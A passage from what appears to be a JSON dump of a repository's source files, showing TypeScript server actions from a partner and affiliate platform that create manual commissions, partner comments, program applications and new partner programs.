\"@/lib/zod/schemas/leads\";\nimport { saleEventSchemaTB } from \"@/lib/zod/schemas/sales\";\nimport { prisma } from \"@dub/prisma\";\nimport { nanoid, prettyPrint } from \"@dub/utils\";\nimport { COUNTRIES_TO_CONTINENTS } from \"@dub/utils/src\";\nimport { waitUntil } from \"@vercel/functions\";\nimport * as z from \"zod/v4\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\nimport { triggerAggregateDueCommissionsCronJob } from \"./trigger-aggregate-due-commissions\";\n\nconst leadEventSchemaTBWithTimestamp = leadEventSchemaTB.extend({\n  timestamp: z.string(),\n});\n\nconst saleEventSchemaTBWithTimestamp = saleEventSchemaTB.extend({\n  timestamp: z.string(),\n});\n\nexport const createManualCommissionAction = authActionClient\n  .inputSchema(createCommissionSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredRoles: [\"owner\", \"member\"],\n    });\n\n    const {\n      partnerId,\n      commissionType,\n      // custom commission attributes\n      date,\n      amount,\n      description,\n      // customer attributes (for lead and sale commissions)\n      customerId,\n      linkId,\n      // lead attributes\n      leadEventDate,\n      leadEventName,\n      // sale attributes\n      useExistingEvents,\n      saleEventDate,\n      saleAmount,\n      invoiceId,\n      productId,\n    } = parsedInput;\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    const [{ partner, links }, customer] = await Promise.all([\n      getProgramEnrollmentOrThrow({\n        programId,\n        partnerId,\n        include: {\n          partner: true,\n          links: true,\n        },\n      }),\n\n      customerId\n        ? prisma.customer.findUniqueOrThrow({\n            where: {\n              id: customerId,\n            },\n          })\n        : Promise.resolve(null),\n    ]);\n\n    // Create a custom commission\n    if (commissionType === \"custom\") {\n      await createPartnerCommission({\n        event: \"custom\",\n        partnerId,\n        programId,\n        amount: amount ?? 0,\n        quantity: 1,\n        createdAt: date ?? new Date(),\n        user,\n        description,\n      });\n\n      waitUntil(triggerAggregateDueCommissionsCronJob(programId));\n\n      return;\n    }\n\n    if (!customer || customer.projectId !== workspace.id) {\n      throw new Error(\n        `Customer${customerId ? ` with customerId ${customerId}` : \"\"} not found.`,\n      );\n    }\n\n    const link = links.find((l) => l.id === linkId);\n\n    if (!link) {\n      throw new Error(\n        `Link ${linkId} does not belong to partner ${partner.email} (${partnerId}).`,\n      );\n    }\n\n    if (invoiceId) {\n      const commission = await prisma.commission.findUnique({\n        where: {\n          invoiceId_programId: {\n            invoiceId,\n            programId,\n          },\n        },\n        select: {\n          id: true,\n        },\n      });\n\n      if (commission) {\n        throw new Error(\n          `There is already a commission for the invoice ${invoiceId}.`,\n        );\n      }\n    }\n\n    const tbEventsToRecord: Array<() => Promise<unknown>> = []; // a list of promises of events to record in Tinybird\n    const commissionsToCreate: CreatePartnerCommissionProps[] = [];\n\n    // keep track of click event to update customer later\n    let clickId: string | undefined = undefined;\n    let clickedAt: Date | undefined = undefined;\n\n    // keep track of link stats to update later\n    let totalSales = 0;\n    let totalSaleAmount = 0;\n    let lastLeadAt: Date | undefined = undefined;\n    let lastConversionAt: Date | undefined = undefined;\n\n    // If we're using existing events (Stripe invoice for sale)\n    if (useExistingEvents) {\n      if (commissionType !== \"sale\") {\n        throw new Error(\n          \"You can only use existing events for recurring sale commissions.\",\n        );\n      }\n\n      if (!workspace.stripeConnectId) {\n        throw new Error(\n          \"Your workspace isn't connected to Stripe yet. Please install the Stripe integration under /settings/integrations/stripe to proceed.\",\n        );\n      }\n\n      if (!customer.stripeCustomerId) {\n        throw new Error(\n          `Customer ${customer.id} doesn't have a Stripe customer ID. Add one in the customer profile before proceeding.`,\n        );\n      }\n\n      const stripeCustomerInvoices = await getCustomerStripeInvoices({\n        stripeCustomerId: customer.stripeCustomerId,\n        stripeConnectId: workspace.stripeConnectId,\n        programId,\n      }).then((invoices) =>\n        invoices\n          // filter out invoices that are already associated with a commission on Dub\n          .filter((invoice) => !invoice.dubCommissionId)\n          // sort invoices by created date ascending\n          .sort((a, b) => a.createdAt.getTime() - b.createdAt.getTime()),\n      );\n\n      if (stripeCustomerInvoices.length === 0) {\n        throw new Error(\n          `No unimported Stripe invoices found for customer ${customer.email} (${customer.stripeCustomerId}).`,\n        );\n      }\n\n      // use the first ever stripe invoice created date as the last lead and conversion dates\n      lastLeadAt = stripeCustomerInvoices[0].createdAt;\n      lastConversionAt = stripeCustomerInvoices[0].createdAt;\n\n      clickId = nanoid(16);\n      clickedAt = new Date(lastLeadAt.getTime() - 5 * 60 * 1000);\n\n      const generatedClickEvent = recordClickZodSchema.parse({\n        timestamp: clickedAt.toISOString(),\n        identity_hash: customer.externalId || customer.id,\n        click_id: clickId,\n        link_id: link.id,\n        url: link.url,\n        ip: \"127.0.0.1\",\n        continent: customer.country\n          ? COUNTRIES_TO_CONTINENTS[customer.country.toUpperCase()] || \"\"\n          : \"\",\n      });\n\n      tbEventsToRecord.push(() => recordClickZod(generatedClickEvent));\n\n      const leadEventData = leadEventSchemaTBWithTimestamp.parse({\n        ...generatedClickEvent,\n        event_id: nanoid(16),\n        event_name: \"Sign up\",\n        customer_id: customer.id,\n        timestamp: lastLeadAt.toISOString(),\n      });\n\n      tbEventsToRecord.push(() => recordLeadWithTimestamp(leadEventData));\n\n      const saleEventData = stripeCustomerInvoices.map((invoice) =>\n        saleEventSchemaTBWithTimestamp.parse({\n          ...generatedClickEvent,\n          event_id: nanoid(16),\n          invoice_id: invoice.id,\n          event_name: \"Invoice paid\",\n          amount: invoice.amount,\n          customer_id: customer.id,\n          payment_processor: \"stripe\",\n          currency: \"usd\",\n          timestamp: invoice.createdAt.toISOString(),\n          metadata: JSON.stringify(invoice.metadata),\n        }),\n      );\n\n      tbEventsToRecord.push(() => recordSaleWithTimestamp(saleEventData));\n\n      commissionsToCreate.push(\n        ...saleEventData.map((saleEvent) => ({\n          event: \"sale\" as const,\n          programId,\n          partnerId,\n          linkId: link.id,\n          customerId: customer.id,\n          eventId: saleEvent.event_id,\n          quantity: 1,\n          amount: saleEvent.amount,\n          currency: saleEvent.currency,\n          invoiceId: saleEvent.invoice_id,\n          createdAt: new Date(saleEvent.timestamp),\n          user,\n          context: {\n            customer: { country: customer.country },\n          },\n        })),\n      );\n      totalSales = saleEventData.length;\n      totalSaleAmount = saleEventData.reduce(\n        (acc, saleEvent) => acc + saleEvent.amount,\n        0,\n      );\n    } else {\n      const finalLeadEventDate = leadEventDate ?? saleEventDate ?? new Date();\n      clickId = nanoid(16);\n      clickedAt = new Date(finalLeadEventDate.getTime() - 5 * 60 * 1000);\n\n      // Record click event\n      const generatedClickEvent = recordClickZodSchema.parse({\n        timestamp: clickedAt.toISOString(),\n        identity_hash: customer.externalId || customer.id,\n        click_id: clickId,\n        link_id: link.id,\n        url: link.url,\n        ip: \"127.0.0.1\",\n        continent: customer.country\n          ? COUNTRIES_TO_CONTINENTS[customer.country.toUpperCase()] || \"\"\n          : \"\",\n      });\n\n      tbEventsToRecord.push(() => recordClickZod(generatedClickEvent));\n\n      // Record lead event\n      const leadEventData = leadEventSchemaTBWithTimestamp.parse({\n        ...generatedClickEvent,\n        event_id: nanoid(16),\n        event_name: leadEventName || \"Sign up\",\n        customer_id: customer.id,\n        timestamp: finalLeadEventDate.toISOString(),\n      });\n\n      console.log(\"New lead event to record: \", leadEventData);\n\n      tbEventsToRecord.push(() => recordLeadWithTimestamp(leadEventData));\n\n      if (commissionType === \"lead\") {\n        commissionsToCreate.push({\n          event: \"lead\" as const,\n          programId,\n          partnerId,\n          linkId: link.id,\n          customerId: customer.id,\n          eventId: leadEventData.event_id,\n          quantity: 1,\n          createdAt: new Date(leadEventData.timestamp), // we don't add the \"Z\" to the timestamp because it's already in UTC\n          user,\n          context: {\n            customer: { country: customer.country },\n          },\n        });\n        // Track the lead event timestamp for link stats update\n        lastLeadAt = new Date(leadEventData.timestamp);\n      }\n\n      // Prepare sale event if requested\n      if (saleAmount) {\n        const saleEventData = saleEventSchemaTBWithTimestamp.parse({\n          ...generatedClickEvent,\n          event_id: nanoid(16),\n          invoice_id: invoiceId ?? \"\",\n          event_name: \"Purchase\",\n          amount: saleAmount,\n          customer_id: customer.id,\n          payment_processor: \"custom\",\n          currency: \"usd\",\n          timestamp: new Date(saleEventDate ?? Date.now()).toISOString(),\n          metadata: productId ? JSON.stringify({ productId }) : undefined,\n        });\n\n        console.log(\"New sale event to record: \", saleEventData);\n\n        tbEventsToRecord.push(() => recordSaleWithTimestamp(saleEventData));\n\n        if (commissionType === \"sale\") {\n          commissionsToCreate.push({\n            event: \"sale\" as const,\n            programId,\n            partnerId,\n            linkId: link.id,\n            customerId: customer.id,\n            eventId: saleEventData.event_id,\n            quantity: 1,\n            amount: saleEventData.amount,\n            currency: saleEventData.currency,\n            invoiceId: saleEventData.invoice_id,\n            createdAt: new Date(saleEventData.timestamp), // we don't add the \"Z\" to the timestamp because it's already in UTC\n            user,\n            context: {\n              customer: { country: customer.country },\n              sale: { productId },\n            },\n          });\n          totalSales++;\n          totalSaleAmount += saleEventData.amount;\n          lastConversionAt = new Date(saleEventData.timestamp);\n        }\n      }\n    }\n\n    // record events in Tinybird\n    const tbRes = await Promise.allSettled(tbEventsToRecord.map((fn) => fn()));\n    console.log(\"Recorded events in Tinybird: \", prettyPrint(tbRes));\n\n    // create partner commissions\n    await Promise.allSettled(\n      commissionsToCreate.map((commission) =>\n        createPartnerCommission(commission),\n      ),\n    );\n\n    console.log(\n      `Created ${commissionsToCreate.length} commissions: ${prettyPrint(commissionsToCreate)}`,\n    );\n\n    waitUntil(\n      (async () => {\n        const firstConversionFlag =\n          commissionType === \"sale\" &&\n          isFirstConversion({\n            customer,\n            linkId: link.id,\n          });\n\n        await Promise.allSettled([\n          prisma.link.update({\n            where: {\n              id: link.id,\n            },\n            data: {\n              // we'll always create click + lead events, so need to increment the stats\n              clicks: {\n                increment: 1,\n              },\n              leads: {\n                increment: 1,\n              },\n              lastLeadAt: updateLinkStatsForImporter({\n                currentTimestamp: link.lastLeadAt,\n                newTimestamp: lastLeadAt || new Date(),\n              }),\n              ...(firstConversionFlag && {\n                conversions: {\n                  increment: 1,\n                },\n                lastConversionAt: updateLinkStatsForImporter({\n                  currentTimestamp: link.lastConversionAt,\n                  newTimestamp: lastConversionAt || new Date(),\n                }),\n              }),\n              sales: {\n                increment: totalSales,\n              },\n              saleAmount: {\n                increment: totalSaleAmount,\n              },\n            },\n          }),\n          prisma.customer.update({\n            where: {\n              id: customer.id,\n            },\n            data: {\n              linkId: link.id,\n              programId: link.programId,\n              partnerId: link.partnerId,\n              clickId,\n              clickedAt,\n              sales: {\n                increment: totalSales,\n              },\n              saleAmount: {\n                increment: totalSaleAmount,\n              },\n              firstSaleAt: customer.firstSaleAt\n                ? undefined\n                : lastConversionAt ?? new Date(),\n            },\n          }),\n        ]);\n\n        // execute workflows\n        if ([\"lead\", \"sale\"].includes(commissionType)) {\n          await Promise.allSettled([\n            executeWorkflows({\n              trigger: \"partnerMetricsUpdated\",\n              reason: \"commission\",\n              identity: {\n                workspaceId: workspace.id,\n                programId,\n                partnerId,\n              },\n              metrics: {\n                current: {\n                  leads: commissionType === \"lead\" ? 1 : 0,\n                  saleAmount: saleAmount ?? totalSaleAmount,\n                  conversions: firstConversionFlag ? 1 : 0,\n                },\n              },\n            }),\n\n            syncPartnerLinksStats({\n              partnerId,\n              programId,\n              eventType: commissionType as \"lead\" | \"sale\",\n            }),\n          ]);\n        }\n\n        await triggerAggregateDueCommissionsCronJob(programId);\n      })(),\n    );\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/create-partner-comment.ts",
    "content": "\"use server\";\n\nimport { getDefaultProgramIdOrThrow } from \"@/lib/api/programs/get-default-program-id-or-throw\";\nimport { getProgramEnrollmentOrThrow } from \"@/lib/api/programs/get-program-enrollment-or-throw\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  PartnerCommentSchema,\n  createPartnerCommentSchema,\n} from \"../../zod/schemas/programs\";\nimport { authActionClient } from \"../safe-action\";\nimport { throwIfNoPermission } from \"../throw-if-no-permission\";\n\n// Create a partner comment\nexport const createPartnerCommentAction = authActionClient\n  .inputSchema(createPartnerCommentSchema)\n  .action(async ({ parsedInput, ctx }) => {\n    const { workspace, user } = ctx;\n    const { partnerId, text } = parsedInput;\n\n    throwIfNoPermission({\n      role: workspace.role,\n      requiredPermissions: [\"messages.write\"],\n    });\n\n    const programId = getDefaultProgramIdOrThrow(workspace);\n\n    await getProgramEnrollmentOrThrow({\n      partnerId,\n      programId,\n      include: {},\n    });\n\n    const comment = await prisma.partnerComment.create({\n      data: {\n        programId,\n        partnerId,\n        userId: user.id,\n        text,\n      },\n      include: {\n        user: true,\n      },\n    });\n\n    return {\n      comment: PartnerCommentSchema.parse(comment),\n    };\n  });\n"
  },
  {
    "path": "apps/web/lib/actions/partners/create-program-application.ts",
    "content": "\"use server\";\n\nimport { createId } from \"@/lib/api/create-id\";\nimport { detectAndRecordFraudApplication } from \"@/lib/api/fraud/detect-record-fraud-application\";\nimport { notifyPartnerApplication } from \"@/lib/api/partners/notify-partner-application\";\nimport { getIP } from \"@/lib/api/utils/get-ip\";\nimport { getSession } from \"@/lib/auth\";\nimport { qstash } from \"@/lib/cron\";\nimport { getPartnerProfileChecklistProgress } from \"@/lib/network/get-partner-profile-checklist-progress\";\nimport { evaluateApplicationRequirements } from \"@/lib/partners/evaluate-application-requirements\";\nimport {\n  formatApplicationFormData,\n  formatWebsiteAndSocialsFields,\n} from \"@/lib/partners/format-application-form-data\";\nimport {\n  ProgramApplicationFormData,\n  ProgramApplicationFormDataWithValues,\n} from \"@/lib/types\";\nimport { ratelimit } from \"@/lib/upstash\";\nimport { sendWorkspaceWebhook } from \"@/lib/webhook/publish\";\nimport { partnerApplicationWebhookSchema } from \"@/lib/zod/schemas/program-application\";\nimport { programApplicationFormWebsiteAndSocialsFieldWithValueSchema } from \"@/lib/zod/schemas/program-application-form\";\nimport { createProgramApplicationSchema } from \"@/lib/zod/schemas/programs\";\nimport { prisma } from \"@dub/prisma\";\nimport {\n  Partner,\n  PartnerGroup,\n  Program,\n  ProgramEnrollment,\n  Project,\n} from \"@dub/prisma/client\";\nimport { APP_DOMAIN_WITH_NGROK } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { addDays } from \"date-fns\";\nimport { cookies } from \"next/headers\";\nimport * as z from \"zod/v4\";\nimport { actionClient } from \"../safe-action\";\n\nexport type PartnerData = { name: string; country: string };\n\ninterface Response {\n  programApplicationId: string;\n  programEnrollmentId?: string;\n  partnerData: PartnerData;\n}\n\ntype ProgramApplicationData = z.infer<typeof createProgramApplicationSchema>;\n\ntype WebsiteAndSocialsData = z.infer<\n  typeof programApplicationFormWebsiteAndSocialsFieldWithValueSchema\n>;\n\nconst sanitizeFormData = (\n  formData: ProgramApplicationFormDataWithValues,\n  group: PartnerGroup,\n): ProgramApplicationFormDataWithValues | null => {\n  if (!group.applicationFormData) {\n    return null;\n  }\n\n  const applicationFormData =\n    group.applicationFormData as ProgramApplicationFormData;\n  const validFieldIds = new Set(\n    applicationFormData.fields.map((field) => field.id),\n  );\n  const fields = (formData.fields || []).filter((field) =>\n    validFieldIds.has(field.id),\n  );\n\n  return {\n    fields,\n  };\n};\n\nfunction sanitizeData(rawData: ProgramApplicationData, group: PartnerGroup) {\n  const { formData: rawFormData, inAppApplication, ...data } = rawData;\n\n  const formData = rawFormData ? sanitizeFormData(rawFormData, group) : null;\n\n  if (!formData) {\n    return data;\n  }\n\n  const websitesAndSocials = formData.fields.find(\n    (field) => field.type === \"website-and-socials\",\n  ) as WebsiteAndSocialsData;\n\n  if (!websitesAndSocials) {\n    return {\n      ...data,\n      formData,\n    };\n  }\n\n  return {\n    ...data,\n    formData,\n    website: websitesAndSocials.data.find((field) => field.type === \"website\")\n      ?.value,\n    youtube: websitesAndSocials.data.find((field) => field.type === \"youtube\")\n      ?.value,\n    twitter: websitesAndSocials.data.find((field) => field.type === \"twitter\")\n      ?.value,\n    linkedin: websitesAndSocials.data.find((field) => field.type === \"linkedin\")\n      ?.value,\n    instagram: websitesAndSocials.data.find(\n      (field) => field.type === \"instagram\",\n    )?.value,\n    tiktok: websitesAndSocials.data.find((field) => field.type === \"tiktok\")\n      ?.value,\n  };\n}\n\n// Create a program application (or enrollment if a partner is already logged in)\nexport const createProgramApplicationAction = actionClient\n  .inputSchema(createProgramApplicationSchema)\n  .action(async ({ parsedInput }): Promise<Response> => {\n    const { programId, groupId, inAppApplication } = parsedInput;\n\n    // Limit to 3 requests per minute per program per IP\n    const { success } = await ratelimit(3, \"1 m\").limit(\n      `create-program-application:${programId}:${await getIP()}`,\n    );\n\n    if (!success) {\n      throw new Error(\"Too many requests. Please try again later.\");\n    }\n\n    const program = await prisma.program.findUniqueOrThrow({\n      where: {\n        id: programId,\n      },\n      include: {\n        groups: {\n          where: {\n            ...(groupId ? { id: groupId } : { slug: \"default\" }),\n          },\n        },\n        workspace: {\n          select: {\n            id: true,\n            webhookEnabled: true,\n          },\n        },\n      },\n    });\n\n    // this should never happen, but just in case\n    if (!program.groups.length) {\n      throw new Error(\"This program has no groups.\");\n    }\n\n    const group = program.groups[0];\n\n    if (!group) {\n      throw new Error(\"Invalid group.\");\n    }\n\n    const session = await getSession();\n\n    // Get currently logged in partner\n    const existingPartner = session?.user.id\n      ? await prisma.partner.findFirst({\n          where: {\n            users: { some: { userId: session.user.id } },\n          },\n          include: {\n            programs: true,\n            platforms: true,\n            preferredEarningStructures: true,\n            salesChannels: true,\n          },\n        })\n      : null;\n\n    // if the application form is not published and\n    // the partner is not logged in, throw an error\n    if (!group.applicationFormPublishedAt && !existingPartner) {\n      throw new Error(\"This program is no longer accepting applications.\");\n    }\n\n    if (existingPartner) {\n      // for in-app applications from existing partners, we need to check\n      // if the partner has an incomplete profile, if so we prompt them to complete it\n      if (inAppApplication) {\n        const { isComplete } = getPartnerProfileChecklistProgress({\n          partner: {\n            ...existingPartner,\n            preferredEarningStructures:\n              existingPartner.preferredEarningStructures.map(\n                ({ preferredEarningStructure }) => preferredEarningStructure,\n              ),\n            salesChannels: existingPartner.salesChannels.map(\n              ({ salesChannel }) => salesChannel,\n            ),\n          },\n        });\n\n        if (!isComplete) {\n          throw new Error(\n            \"Please complete your partner profile to submit your application: https://partners.dub.co/profile\",\n          );\n        }\n      }\n\n      return createApplicationAndEnrollment({\n        workspace: program.workspace,\n        program,\n        partner: existingPartner,\n        group,\n        data: parsedInput,\n        inAppApplication,\n      });\n    }\n\n    const application = await createApplication({\n      program,\n      data: parsedInput,\n      group,\n    });\n\n    await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/program-application-reminder`,\n      delay: 15 * 60, // 15 minutes\n      body: {\n        applicationId: application.programApplicationId,\n      },\n    });\n\n    return application;\n  });\n\nasync function createApplicationAndEnrollment({\n  workspace,\n  program,\n  partner,\n  group,\n  data,\n  inAppApplication,\n}: {\n  workspace: Pick<Project, \"id\" | \"webhookEnabled\">;\n  program: Program;\n  partner: Partner & { programs: ProgramEnrollment[] };\n  group: PartnerGroup;\n  data: z.infer<typeof createProgramApplicationSchema>;\n  inAppApplication?: boolean;\n}) {\n  // Check if ProgramEnrollment already exists\n  if (partner.programs.some((p) => p.programId === program.id)) {\n    throw new Error(\"You have already applied to this program.\");\n  }\n\n  const sanitizedData = sanitizeData(data, group);\n\n  const result = evaluateApplicationRequirements({\n    applicationRequirements: program.applicationRequirements,\n    context: {\n      // Always use the partner's country from their profile, if available\n      country: partner.country ?? sanitizedData.country,\n      email: partner.email,\n    },\n  });\n\n  if (result.reason === \"requirementsNotMet\") {\n    if (inAppApplication) {\n      throw new Error(\n        \"Unfortunately, you do not meet the eligibility requirements for this program.\",\n      );\n    }\n\n    const qstashResponse = await qstash.publishJSON({\n      url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partners/auto-reject`,\n      delay: 30 * 60, // 30 minutes\n      body: {\n        programId: program.id,\n        partnerId: partner.id,\n      },\n    });\n\n    if (qstashResponse.messageId) {\n      console.log(\n        `The partner did not meet the eligibility requirements for this program. Auto-reject job enqueued successfully.`,\n        {\n          ...qstashResponse,\n          programId: program.id,\n          partnerId: partner.id,\n        },\n      );\n    }\n  }\n\n  const applicationId = createId({ prefix: \"pga_\" });\n  const enrollmentId = createId({ prefix: \"pge_\" });\n\n  const [application, programEnrollment] = await prisma.$transaction([\n    prisma.programApplication.create({\n      data: {\n        ...sanitizeData(data, group),\n        id: applicationId,\n        programId: program.id,\n        groupId: group.id,\n      },\n    }),\n\n    prisma.programEnrollment.create({\n      data: {\n        id: enrollmentId,\n        partnerId: partner.id,\n        programId: program.id,\n        status: \"pending\",\n        applicationId,\n        groupId: group.id,\n        clickRewardId: group.clickRewardId,\n        leadRewardId: group.leadRewardId,\n        saleRewardId: group.saleRewardId,\n        discountId: group.discountId,\n      },\n    }),\n  ]);\n\n  waitUntil(\n    (async () => {\n      const applicationFormData = formatApplicationFormData(application).map(\n        ({ title, value }) => ({\n          label: title,\n          value: value !== \"\" ? value : null,\n        }),\n      );\n\n      await Promise.all([\n        notifyPartnerApplication({\n          partner,\n          program,\n          group,\n          application,\n        }),\n\n        // Auto-approve the partner if the group has auto-approval enabled\n        group.autoApprovePartnersEnabledAt\n          ? qstash.publishJSON({\n              url: `${APP_DOMAIN_WITH_NGROK}/api/cron/partners/auto-approve`,\n              delay: 5 * 60,\n              body: {\n                programId: program.id,\n                partnerId: partner.id,\n              },\n            })\n          : Promise.resolve(null),\n\n        // Send \"partner.application_submitted\" webhook\n        sendWorkspaceWebhook({\n          workspace,\n          trigger: \"partner.application_submitted\",\n          data: partnerApplicationWebhookSchema.parse({\n            id: application.id,\n            createdAt: application.createdAt,\n            partner: {\n              ...partner,\n              ...programEnrollment,\n              id: partner.id,\n              ...formatWebsiteAndSocialsFields(application),\n            },\n            applicationFormData,\n          }),\n        }),\n\n        // Detect and record fraud events for the partner when they apply to a program\n        detectAndRecordFraudApplication({\n          context: {\n            program,\n            partner,\n          },\n        }),\n      ]);\n    })(),\n  );\n\n  return {\n    programApplicationId: applicationId,\n    programEnrollmentId: enrollmentId,\n    partnerData: {\n      name: data.name,\n      country: data.country,\n    },\n  };\n}\n\nasync function createApplication({\n  program,\n  data,\n  group,\n}: {\n  program: Program;\n  data: z.infer<typeof createProgramApplicationSchema>;\n  group: PartnerGroup;\n}) {\n  const application = await prisma.programApplication.create({\n    data: {\n      ...sanitizeData(data, group),\n      id: createId({ prefix: \"pga_\" }),\n      programId: program.id,\n      groupId: group.id,\n    },\n  });\n\n  // Add application ID to cookie\n  const cookieStore = await cookies();\n\n  const existingApplicationIds =\n    cookieStore.get(\"programApplicationIds\")?.value?.split(\",\") || [];\n\n  cookieStore.set(\n    \"programApplicationIds\",\n    [...existingApplicationIds, application.id].join(\",\"),\n    {\n      httpOnly: true,\n      expires: addDays(new Date(), 7), // persist for 7 days\n    },\n  );\n\n  return {\n    programApplicationId: application.id,\n    partnerData: {\n      name: data.name,\n      country: data.country,\n    },\n  };\n}\n"
  },
  {
    "path": "apps/web/lib/actions/partners/create-program.ts",
    "content": "import { recordAuditLog } from \"@/lib/api/audit-logs/record-audit-log\";\nimport { createId } from \"@/lib/api/create-id\";\nimport { getDomainOrThrow } from \"@/lib/api/domains/get-domain-or-throw\";\nimport { createAndEnrollPartner } from \"@/lib/api/partners/create-and-enroll-partner\";\nimport { getGroupRewardsAndBounties } from \"@/lib/api/partners/get-group-rewards-and-bounties\";\nimport { generateRandomString } from \"@/lib/api/utils/generate-random-string\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { storage } from \"@/lib/storage\";\nimport { PlanProps } from \"@/lib/types\";\nimport { redis } from \"@/lib/upstash\";\nimport {\n  DEFAULT_ADDITIONAL_PARTNER_LINKS,\n  DEFAULT_PARTNER_GROUP,\n} from \"@/lib/zod/schemas/groups\";\nimport { programDataSchema } from \"@/lib/zod/schemas/program-onboarding\";\nimport { REWARD_EVENT_COLUMN_MAPPING } from \"@/lib/zod/schemas/rewards\";\nimport { sendEmail } from \"@dub/email\";\nimport ProgramInvite from \"@dub/email/templates/program-invite\";\nimport ProgramWelcome from \"@dub/email/templates/program-welcome\";\nimport { prisma } from \"@dub/prisma\";\nimport { Program, Project, User } from \"@dub/prisma/client\";\nimport { getDomainWithoutWWW, isLegacyBusinessPlan, nanoid } from \"@dub/utils\";\nimport { waitUntil } from \"@vercel/functions\";\nimport { redirect } from \"next/navigation\";\n\n// Create a program from the onboarding data\nexport const createProgram = async ({\n  workspace,\n  user,\n  redirectTo,\n  sendProgramWelcomeEmail = false,\n}: {\n  workspace: Pick<\n    Project,\n    | \"id\"\n    | \"slug\"\n    | \"plan\"\n    | \"payoutsLimit\"\n    | \"store\"\n    | \"webhookEnabled\"\n    | \"invoicePrefix\"\n  >;\n  user: Pick<User, \"id\" | \"email\">;\n  redirectTo?: string;\n  sendProgramWelcomeEmail?: boolean;\n}) => {\n  const { canManageProgram, canMessagePartners } = getPlanCapabilities(\n    workspace.plan,\n  );\n\n  if (\n    !canManageProgram ||\n    isLegacyBusinessPlan({\n      plan: workspace.plan,\n      payoutsLimit: workspace.payoutsLimit,\n    })\n  ) {\n    throw new Error(\n      \"Your current plan does not have access to create a partner program. Please upgrade to a higher plan to proceed.\",\n    );\n  }\n\n  const store = workspace.store as Record<string, any>;\n  if (!store.programOnboarding) {\n    throw new Error(\"Program onboarding data not found\");\n  }\n\n  const {\n    name,\n    domain,\n    url,\n    defaultRewardType,\n    type,\n    amountInCents,\n    amountInPercentage,\n    maxDuration,\n    partners,\n    supportEmail,\n    helpUrl,\n    termsUrl,\n    logo: uploadedLogo,\n  } = programDataSchema.parse(store.programOnboarding);\n\n  await getDomainOrThrow({ workspace, domain });\n\n  const programId = createId({ prefix: \"prog_\" });\n\n  const logoUrl = uploadedLogo\n    ? await storage\n        .upload({\n          key: `programs/${programId}/logo_${nanoid(7)}`,\n          body: uploadedLogo,\n        })\n        .then(({ url }) => url)\n    : null;\n\n  // create a new program\n  const program = await prisma.$transaction(async (tx) => {\n    const folderId = createId({ prefix: \"fold_\" });\n    const defaultGroupId = createId({ prefix: \"grp_\" });\n\n    const programFolder = await tx.folder.upsert({\n      where: {\n        name_projectId: {\n          name: \"Partner Links\",\n          projectId: workspace.id,\n        },\n      },\n      update: {},\n      create: {\n        id: folderId,\n        name: \"Partner Links\",\n        projectId: workspace.id,\n        accessLevel: \"write\",\n        users: {\n          create: {\n            userId: user.id,\n            role: \"owner\",\n          },\n        },\n      },\n    });\n\n    const programData = await tx.program.create({\n      data: {\n        id: programId,\n        workspaceId: workspace.id,\n        name,\n        slug: workspace.slug,\n        domain,\n        url,\n        logo: logoUrl, // TODO: remove after we refactor all program.logo fields to use group.logo instead\n        defaultFolderId: programFolder.id,\n        defaultGroupId,\n        supportEmail,\n        helpUrl,\n        termsUrl,\n        messagingEnabledAt: canMessagePartners ? new Date() : null,\n        ...(type &&\n          (amountInCents != null || amountInPercentage != null) && {\n            rewards: {\n              create: {\n                id: createId({ prefix: \"rw_\" }),\n                type,\n                amountInCents: type === \"flat\" ? amountInCents : null,\n                amountInPercentage:\n                  type === \"percentage\" && amountInPercentage != null\n                    ? amountInPercentage\n                    : null,\n                maxDuration,\n                event: defaultRewardType,\n              },\n            },\n          }),\n      },\n      include: {\n        rewards: true,\n      },\n    });\n\n    const createdReward = programData.rewards?.[0];\n\n    await tx.partnerGroup.upsert({\n      where: {\n        programId_slug: {\n          programId,\n          slug: DEFAULT_PARTNER_GROUP.slug,\n        },\n      },\n      create: {\n        id: defaultGroupId,\n        programId,\n        slug: DEFAULT_PARTNER_GROUP.slug,\n        name: DEFAULT_PARTNER_GROUP.name,\n        color: DEFAULT_PARTNER_GROUP.color,\n        ...(logoUrl && { logo: logoUrl }),\n        ...(createdReward && {\n          [REWARD_EVENT_COLUMN_MAPPING[createdReward.event]]: createdReward.id,\n        }),\n        additionalLinks: [\n          {\n            domain: getDomainWithoutWWW(programData.url!)!,\n            validationMode: \"domain\",\n          },\n        ],\n        maxPartnerLinks: DEFAULT_ADDITIONAL_PARTNER_LINKS,\n        partnerGroupDefaultLinks: {\n          create: {\n            id: createId({ prefix: \"pgdl_\" }),\n            programId,\n            domain: programData.domain!,\n            url: programData.url!,\n          },\n        },\n      },\n      update: {}, // noop\n    });\n\n    // folder might be upserted, so we need to check if it was created\n    const didCreateFolder = programFolder.id === folderId;\n\n    await tx.project.update({\n      where: {\n        id: workspace.id,\n      },\n      data: {\n        defaultProgramId: programData.id,\n        ...(didCreateFolder && {\n          foldersUsage: {\n            increment: 1,\n          },\n        }),\n        store: {\n          ...store,\n          programOnboarding: undefined,\n        },\n        // if the workspace doesn't have an invoice prefix, generate one\n        ...(!workspace.invoicePrefix && {\n          invoicePrefix: generateRandomString(8),\n        }),\n      },\n    });\n\n    return programData;\n  });\n\n  waitUntil(\n    Promise.allSettled([\n      // invite partners\n      ...(partners && partners.length > 0\n        ? partners.map((partner) =>\n            invitePartner({\n              workspace,\n              program,\n              partner,\n              userId: user.id,\n            }),\n          )\n        : []),\n\n      // send email about the new program\n      sendProgramWelcomeEmail &&\n        sendEmail({\n          subject: `Your program ${program.name} is created and ready to share with your partners.`,\n          to: user.email!,\n          react: ProgramWelcome({\n            email: user.email!,\n            workspace,\n            program,\n          }),\n        }),\n\n      // delete the workspace product cache\n      redis.del(`workspace:product:${workspace.slug}`),\n\n      // record the audit log\n      recordAuditLog({\n        workspaceId: workspace.id,\n        programId: program.id,\n        action: \"program.created\",\n        description: `Program ${program.name} created`,\n        actor: user,\n        